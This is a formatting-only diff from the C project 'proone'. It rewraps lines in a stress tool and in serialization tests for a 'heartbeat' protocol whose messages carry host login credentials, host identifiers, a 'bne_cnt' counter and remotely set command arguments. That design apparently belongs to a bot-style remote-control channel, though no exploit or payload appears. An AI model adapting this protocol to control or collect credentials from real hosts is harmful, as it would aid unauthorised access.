- wkr_arr[i].pth = pth_spawn(PTH_ATTR_DEFAULT, wkr_arr[i].entry, wkr_arr[i].ctx);
+ wkr_arr[i].pth = pth_spawn(
+ PTH_ATTR_DEFAULT,
+ wkr_arr[i].entry,
+ wkr_arr[i].ctx);
}
pth_sigmask(SIG_BLOCK, &sigset, NULL);
@@ -301,7 +369,10 @@ int main (void) {
regfree(&prmpt_regex);
regfree(&empty_line_regex);
- for (prne_llist_entry_t *cur = prm_list.head; cur != NULL; cur = cur->next) {
+ for (prne_llist_entry_t *cur = prm_list.head;
+ cur != NULL;
+ cur = cur->next)
+ {
prne_resolv_prm_t *prm = (prne_resolv_prm_t*)cur->element;
prne_resolv_free_prm(prm);
prne_free(prm);
diff --git a/src/proone-stress.c b/src/proone-stress.c
index 1b52793..fe2158b 100644
--- a/src/proone-stress.c
+++ b/src/proone-stress.c
@@ -56,7 +56,8 @@ static void child_signal_handler (const int sn);
static void sendall(const int sn);
int main (const int argc, const char **args) {
- static const size_t ALIGNED_SHARED_SIZE = prne_salign_next(sizeof(shared_t), 8);
+ static const size_t ALIGNED_SHARED_SIZE =
+ prne_salign_next(sizeof(shared_t), 8);
#define END_ON_ERR(retval, val, fname, eq)\
if ((eq && retval != val) || (!eq && retval == val)) {\
perror(fname);\
@@ -95,7 +96,8 @@ int main (const int argc, const char **args) {
fprintf(stderr,
"Usage: %s <nproc> [page num range]\n"
"\t<nproc>: number of processes to spawn\n"
- "\t[page num range]: number of page to use. '1-5' for 1 to 5 pages, '1' for just one page. Defaults to '1'\n",
+ "\t[page num range]: number of page to use. '1-5' for 1 to 5 pages,"
+ " '1' for just one page. Defaults to '1'\n",
args[0]);
return 2;
}
@@ -289,13 +291,19 @@ static void do_cycle (priv_ctx_t *priv_ctx, shared_ctx_t *ctx) {
unsigned long *arr;
size_t nb_elements;
- assert(mbedtls_ctr_drbg_random(&priv_ctx->ctx, (unsigned char*)&pages, sizeof(pages)) == 0);
+ assert(mbedtls_ctr_drbg_random(
+ &priv_ctx->ctx,
+ (unsigned char*)&pages,
+ sizeof(pages)) == 0);
pages = (pages % (nb_pages_max - nb_pages_min + 1)) + nb_pages_min;
nb_elements = pagesize / sizeof(unsigned long) * pages;
arr = (unsigned long*)prne_malloc(pagesize, pages);
- assert(mbedtls_ctr_drbg_random(&priv_ctx->ctx, (unsigned char*)arr, 2 * sizeof(unsigned int)) == 0);
+ assert(mbedtls_ctr_drbg_random(
+ &priv_ctx->ctx,
+ (unsigned char*)arr,
+ 2 * sizeof(unsigned int)) == 0);
for (size_t i = 2; i < nb_elements; i += 1) {
arr[i] = arr[i - 2] + arr[i - 1];
@@ -309,7 +317,12 @@ static void child_main (shared_ctx_t *ctx) {
prne_mbedtls_entropy_init(&priv_ctx.ent);
mbedtls_ctr_drbg_init(&priv_ctx.ctx);
- assert(mbedtls_ctr_drbg_seed(&priv_ctx.ctx, mbedtls_entropy_func, &priv_ctx.ent, NULL, 0) == 0);
+ assert(mbedtls_ctr_drbg_seed(
+ &priv_ctx.ctx,
+ mbedtls_entropy_func,
+ &priv_ctx.ent,
+ NULL,
+ 0) == 0);
while (shared->good) {
do_cycle(&priv_ctx, ctx);
diff --git a/src/proone-test_proto.c b/src/proone-test_proto.c
index 0816128..9b8907c 100644
--- a/src/proone-test_proto.c
+++ b/src/proone-test_proto.c
@@ -44,33 +44,124 @@ static void test_ser (void) {
"NetworkManager",
NULL
};
- static char test_args_mem[] = "\x00\x2Bsudo\0systemctl\0enable\0--now\0NetworkManager";
+ static char test_args_mem[] =
+ "\x00\x2Bsudo\0systemctl\0enable\0--now\0NetworkManager";
static char *empty_args[] = {
NULL
};
static char *long_args[] = {
- "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
- "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
- "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", NULL
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", NULL
};
static char *too_long_args[] = {
- "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
- "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
- "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", NULL
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
+ NULL
};
static char *long_mem_args[] = {
- "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
- "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123456", NULL
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123456", NULL
};
static char *too_long_mem_args[] = {
- "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123",
- "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "1234567", NULL
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "123", "123",
+ "123", "123", "123", "123", "123", "123", "1234567", NULL
};
static prne_htbt_bin_meta_t bm_a, bm_b;
static const uint8_t prog_ver[] = PRNE_PROG_VER;
-#define CRED_STR "qwertyuiop[]asdfghjkl;'zxcvbnm,./`1234567890-=~!@#$%^&*()_+|\\"
- static const char CRED_STR_NORM[] = CRED_STR;
- static const char CRED_STR_LONG[] = "012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789";
+ static const char CRED_STR_NORM[] =
+ "qwertyuiop[]asdfghjkl;'zxcvbnm,./`1234567890-=~!@#$%^&*()_+|\\";
+ static const char CRED_STR_LONG[] =
+ "012345678901234567890123456789012345678901234567890123456789"
+ "012345678901234567890123456789012345678901234567890123456789"
+ "012345678901234567890123456789012345678901234567890123456789";
// free functions should accept NULL
prne_htbt_free_msg_head(NULL);
@@ -85,43 +176,95 @@ static void test_ser (void) {
prne_htbt_init_msg_head(&mh_b);
// normal NOOP case
// req
- assert(prne_htbt_ser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_a) == PRNE_HTBT_SER_RC_OK);
- assert(proto_buf_cnt_len == 3 && memcmp("\x80\x00\x00", proto_buf, proto_buf_cnt_len) == 0);
- assert(prne_htbt_dser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_b) == PRNE_HTBT_SER_RC_OK);
+ assert(prne_htbt_ser_msg_head(
+ proto_buf,
+ PRNE_HTBT_PROTO_MIN_BUF,
+ &proto_buf_cnt_len,
+ &mh_a) == PRNE_HTBT_SER_RC_OK);
+ assert(
+ proto_buf_cnt_len == 3 &&
+ memcmp("\x80\x00\x00", proto_buf, proto_buf_cnt_len) == 0);
+ assert(prne_htbt_dser_msg_head(
+ proto_buf,
+ PRNE_HTBT_PROTO_MIN_BUF,
+ &proto_buf_cnt_len,
+ &mh_b) == PRNE_HTBT_SER_RC_OK);
assert(prne_htbt_eq_msg_head(&mh_a, &mh_b));
// rsp
mh_a.is_rsp = true;
- assert(prne_htbt_ser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_a) == PRNE_HTBT_SER_RC_OK);
- assert(proto_buf_cnt_len == 3 && memcmp("\x00\x00\x00", proto_buf, proto_buf_cnt_len) == 0);
- assert(prne_htbt_dser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_b) == PRNE_HTBT_SER_RC_OK);
+ assert(prne_htbt_ser_msg_head(
+ proto_buf,
+ PRNE_HTBT_PROTO_MIN_BUF,
+ &proto_buf_cnt_len,
+ &mh_a) == PRNE_HTBT_SER_RC_OK);
+ assert(
+ proto_buf_cnt_len == 3 &&
+ memcmp("\x00\x00\x00", proto_buf, proto_buf_cnt_len) == 0);
+ assert(prne_htbt_dser_msg_head(
+ proto_buf,
+ PRNE_HTBT_PROTO_MIN_BUF,
+ &proto_buf_cnt_len,
+ &mh_b) == PRNE_HTBT_SER_RC_OK);
assert(prne_htbt_eq_msg_head(&mh_a, &mh_b));
// error cases
// using id other than 0 for NOOP should be an error
mh_a.id = 1;
mh_a.op = PRNE_HTBT_OP_NOOP;
- assert(prne_htbt_ser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_a) == PRNE_HTBT_SER_RC_FMT_ERR);
+ assert(prne_htbt_ser_msg_head(
+ proto_buf,
+ PRNE_HTBT_PROTO_MIN_BUF,
+ &proto_buf_cnt_len,
+ &mh_a) == PRNE_HTBT_SER_RC_FMT_ERR);
// using id 0 for OP other than NOOP should be an error
mh_a.id = 0;
mh_a.op = PRNE_HTBT_OP_HOST_INFO;
- assert(prne_htbt_ser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_a) == PRNE_HTBT_SER_RC_FMT_ERR);
+ assert(prne_htbt_ser_msg_head(
+ proto_buf,
+ PRNE_HTBT_PROTO_MIN_BUF,
+ &proto_buf_cnt_len,
+ &mh_a) == PRNE_HTBT_SER_RC_FMT_ERR);
// using id over 0x8000 should be an error
mh_a.id = 0x8000;
mh_a.op = PRNE_HTBT_OP_STATUS;
- assert(prne_htbt_ser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_a) == PRNE_HTBT_SER_RC_FMT_ERR);
+ assert(prne_htbt_ser_msg_head(
+ proto_buf,
+ PRNE_HTBT_PROTO_MIN_BUF,
+ &proto_buf_cnt_len,
+ &mh_a) == PRNE_HTBT_SER_RC_FMT_ERR);
// normal cases
mh_a.is_rsp = false;
mh_a.id = 0x1234;
mh_a.op = PRNE_HTBT_OP_STATUS;
- assert(prne_htbt_ser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_a) == PRNE_HTBT_SER_RC_OK);
- assert(proto_buf_cnt_len == 3 && memcmp("\x92\x34\x01", proto_buf, proto_buf_cnt_len) == 0);
- assert(prne_htbt_dser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_b) == PRNE_HTBT_SER_RC_OK);
+ assert(prne_htbt_ser_msg_head(
+ proto_buf,
+ PRNE_HTBT_PROTO_MIN_BUF,
+ &proto_buf_cnt_len,
+ &mh_a) == PRNE_HTBT_SER_RC_OK);
+ assert(
+ proto_buf_cnt_len == 3 &&
+ memcmp("\x92\x34\x01", proto_buf, proto_buf_cnt_len) == 0);
+ assert(prne_htbt_dser_msg_head(
+ proto_buf,
+ PRNE_HTBT_PROTO_MIN_BUF,
+ &proto_buf_cnt_len,
+ &mh_b) == PRNE_HTBT_SER_RC_OK);
assert(prne_htbt_eq_msg_head(&mh_a, &mh_b));
mh_a.is_rsp = true;
mh_a.id = 0x5678;
mh_a.op = PRNE_HTBT_OP_STATUS;
- assert(prne_htbt_ser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_a) == PRNE_HTBT_SER_RC_OK);
- assert(proto_buf_cnt_len == 3 && memcmp("\x56\x78\x01", proto_buf, proto_buf_cnt_len) == 0);
- assert(prne_htbt_dser_msg_head(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &mh_b) == PRNE_HTBT_SER_RC_OK);
+ assert(prne_htbt_ser_msg_head(
+ proto_buf,
+ PRNE_HTBT_PROTO_MIN_BUF,
+ &proto_buf_cnt_len,
+ &mh_a) == PRNE_HTBT_SER_RC_OK);
+ assert(
+ proto_buf_cnt_len == 3 &&
+ memcmp("\x56\x78\x01", proto_buf, proto_buf_cnt_len) == 0);
+ assert(prne_htbt_dser_msg_head(
+ proto_buf,
+ PRNE_HTBT_PROTO_MIN_BUF,
+ &proto_buf_cnt_len,
+ &mh_b) == PRNE_HTBT_SER_RC_OK);
assert(prne_htbt_eq_msg_head(&mh_a, &mh_b));
// just testing (placeholder)
prne_htbt_free_msg_head(&mh_a);
@@ -132,9 +275,19 @@ static void test_ser (void) {
prne_htbt_init_status(&s_b);
s_a.code = PRNE_HTBT_STATUS_ERRNO;
s_a.err = EHOSTUNREACH;
- assert(prne_htbt_ser_status(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &s_a) == PRNE_HTBT_SER_RC_OK);
- assert(proto_buf_cnt_len == 5 && memcmp("\x03\x00\x00\x00\x71", proto_buf, 5) == 0);
- assert(prne_htbt_dser_status(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &s_b) == PRNE_HTBT_SER_RC_OK);
+ assert(prne_htbt_ser_status(
+ proto_buf,
+ PRNE_HTBT_PROTO_MIN_BUF,
+ &proto_buf_cnt_len,
+ &s_a) == PRNE_HTBT_SER_RC_OK);
+ assert(
+ proto_buf_cnt_len == 5 &&
+ memcmp("\x03\x00\x00\x00\x71", proto_buf, 5) == 0);
+ assert(prne_htbt_dser_status(
+ proto_buf,
+ PRNE_HTBT_PROTO_MIN_BUF,
+ &proto_buf_cnt_len,
+ &s_b) == PRNE_HTBT_SER_RC_OK);
assert(prne_htbt_eq_status(&s_a, &s_b));
prne_htbt_free_status(&s_a);
prne_htbt_free_status(&s_b);
@@ -146,8 +299,15 @@ static void test_ser (void) {
assert(prne_alloc_host_cred(&hc_a, 0, 0));
hc_a.id[0] = 0;
hc_a.pw[0] = 0;
- assert(prne_enc_host_cred(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &hc_a) == PRNE_HTBT_SER_RC_OK);
- assert(prne_dec_host_cred(proto_buf, proto_buf_cnt_len, &hc_b) == PRNE_HTBT_SER_RC_OK);
+ assert(prne_enc_host_cred(
+ proto_buf,
+ PRNE_HTBT_PROTO_MIN_BUF,
+ &proto_buf_cnt_len,
+ &hc_a) == PRNE_HTBT_SER_RC_OK);
+ assert(prne_dec_host_cred(
+ proto_buf,
+ proto_buf_cnt_len,
+ &hc_b) == PRNE_HTBT_SER_RC_OK);
assert(prne_eq_host_cred(&hc_a, &hc_b));
assert(strlen(hc_b.id) == 0 && strlen(hc_b.pw) == 0);
prne_free_host_cred(&hc_a);
@@ -155,8 +315,15 @@ static void test_ser (void) {
// no alloc (the functions should accept NULL pointers)
prne_init_host_cred(&hc_a);
prne_init_host_cred(&hc_b);
- assert(prne_enc_host_cred(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &hc_a) == PRNE_HTBT_SER_RC_OK);
- assert(prne_dec_host_cred(proto_buf, proto_buf_cnt_len, &hc_b) == PRNE_HTBT_SER_RC_OK);
+ assert(prne_enc_host_cred(
+ proto_buf,
+ PRNE_HTBT_PROTO_MIN_BUF,
+ &proto_buf_cnt_len,
+ &hc_a) == PRNE_HTBT_SER_RC_OK);
+ assert(prne_dec_host_cred(
+ proto_buf,
+ proto_buf_cnt_len,
+ &hc_b) == PRNE_HTBT_SER_RC_OK);
assert(prne_eq_host_cred(&hc_a, &hc_b));
prne_free_host_cred(&hc_a);
prne_free_host_cred(&hc_b);
@@ -177,12 +344,22 @@ static void test_ser (void) {
prne_free_host_cred(&hc_a);
prne_free_host_cred(&hc_b);
// normal case
- assert(prne_alloc_host_cred(&hc_a, strlen(CRED_STR_NORM), strlen(CRED_STR_NORM)));
+ assert(prne_alloc_host_cred(
+ &hc_a,
+ strlen(CRED_STR_NORM),
+ strlen(CRED_STR_NORM)));
strcpy(hc_a.id, CRED_STR_NORM);
strcpy(hc_a.pw, CRED_STR_NORM);
- assert(prne_enc_host_cred(cred_data, sizeof(cred_data), &cred_data_len, &hc_a) == PRNE_HTBT_SER_RC_OK);
+ assert(prne_enc_host_cred(
+ cred_data,
+ sizeof(cred_data),
+ &cred_data_len,
+ &hc_a) == PRNE_HTBT_SER_RC_OK);
assert(cred_data_len == sizeof(CRED_STR_NORM) * 2);
- assert(prne_dec_host_cred(cred_data, cred_data_len, &hc_b) == PRNE_HTBT_SER_RC_OK);
+ assert(prne_dec_host_cred(
+ cred_data,
+ cred_data_len,
+ &hc_b) == PRNE_HTBT_SER_RC_OK);
assert(
strcmp(hc_b.id, CRED_STR_NORM) == 0 &&
strcmp(hc_b.pw, CRED_STR_NORM) == 0);
@@ -204,17 +381,29 @@ static void test_ser (void) {
hi_a.host_cred = cred_data;
hi_a.host_cred_len = cred_data_len;
memcpy(hi_a.prog_ver, prog_ver, sizeof(prog_ver));
- memcpy(hi_a.boot_id, "\x30\x1d\x25\x39\x90\x85\x42\xfd\x90\xb6\x20\x0b\x4a\x3b\x08\x55", 16);
- memcpy(hi_a.instance_id, "\x25\xdc\x7e\xa2\x4a\xc6\x4a\x29\x9f\xac\xbe\x18\x42\x33\xc4\x85", 16);
+ memcpy(
+ hi_a.boot_id,
+ "\x30\x1d\x25\x39\x90\x85\x42\xfd\x90\xb6\x20\x0b\x4a\x3b\x08\x55",
+ 16);
+ memcpy(
+ hi_a.instance_id,
+ "\x25\xdc\x7e\xa2\x4a\xc6\x4a\x29\x9f\xac\xbe\x18\x42\x33\xc4\x85",
+ 16);
hi_a.arch = prne_host_arch;
- assert(prne_htbt_ser_host_info(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &hi_a) == PRNE_HTBT_SER_RC_OK);
+ assert(prne_htbt_ser_host_info(
+ proto_buf,
+ PRNE_HTBT_PROTO_MIN_BUF,
+ &proto_buf_cnt_len,
+ &hi_a) == PRNE_HTBT_SER_RC_OK);
assert(
proto_buf_cnt_len == 94 + cred_data_len &&
memcmp(proto_buf, prog_ver, 16) == 0 &&
memcmp(
proto_buf + 16,
- "\x30\x1d\x25\x39\x90\x85\x42\xfd\x90\xb6\x20\x0b\x4a\x3b\x08\x55" // boot_id
- "\x25\xdc\x7e\xa2\x4a\xc6\x4a\x29\x9f\xac\xbe\x18\x42\x33\xc4\x85" // instance_id
+ // boot_id
+ "\x30\x1d\x25\x39\x90\x85\x42\xfd\x90\xb6\x20\x0b\x4a\x3b\x08\x55"
+ // instance_id
+ "\x25\xdc\x7e\xa2\x4a\xc6\x4a\x29\x9f\xac\xbe\x18\x42\x33\xc4\x85"
"\xAB\xBA\xBA\xBE\xFE\xFF\xFF\xFE" // parent_uptime
"\xDE\xAD\xBE\xEF\xAA\xBB\xCC\xDD" // child_uptime
"\x88\x99\xAA\xBB\xCC\xDD\xEE\xFF" // bne_cnt
@@ -226,14 +415,26 @@ static void test_ser (void) {
(size_t)proto_buf[16 + 76] == cred_data_len &&
proto_buf[16 + 76 + 1] == (uint8_t)prne_host_arch &&
memcmp(proto_buf + 16 + 76 + 1 + 1, cred_data, cred_data_len) == 0);
- assert(prne_htbt_dser_host_info(proto_buf, proto_buf_cnt_len, &actual, &hi_b) == PRNE_HTBT_SER_RC_OK);
+ assert(prne_htbt_dser_host_info(
+ proto_buf,
+ proto_buf_cnt_len,
+ &actual,
+ &hi_b) == PRNE_HTBT_SER_RC_OK);
assert(prne_htbt_eq_host_info(&hi_a, &hi_b));
hi_a.host_cred = NULL;
hi_a.host_cred_len = 0;
// with ownership of host_cred
prne_htbt_alloc_host_info(&hi_a, cred_data_len);
- assert(prne_htbt_ser_host_info(proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &hi_a) == PRNE_HTBT_SER_RC_OK);
- assert(prne_htbt_dser_host_info(proto_buf, proto_buf_cnt_len, &actual, &hi_b) == PRNE_HTBT_SER_RC_OK);
+ assert(prne_htbt_ser_host_info(
+ proto_buf,
+ PRNE_HTBT_PROTO_MIN_BUF,
+ &proto_buf_cnt_len,
+ &hi_a) == PRNE_HTBT_SER_RC_OK);
+ assert(prne_htbt_dser_host_info(
+ proto_buf,
+ proto_buf_cnt_len,
+ &actual,
+ &hi_b) == PRNE_HTBT_SER_RC_OK);
assert(prne_htbt_eq_host_info(&hi_a, &hi_b));
prne_htbt_free_host_info(&hi_a);
prne_htbt_free_host_info(&hi_b);
@@ -244,18 +445,42 @@ static void test_ser (void) {
assert(prne_htbt_set_cmd(&cmd_a, long_mem_args));
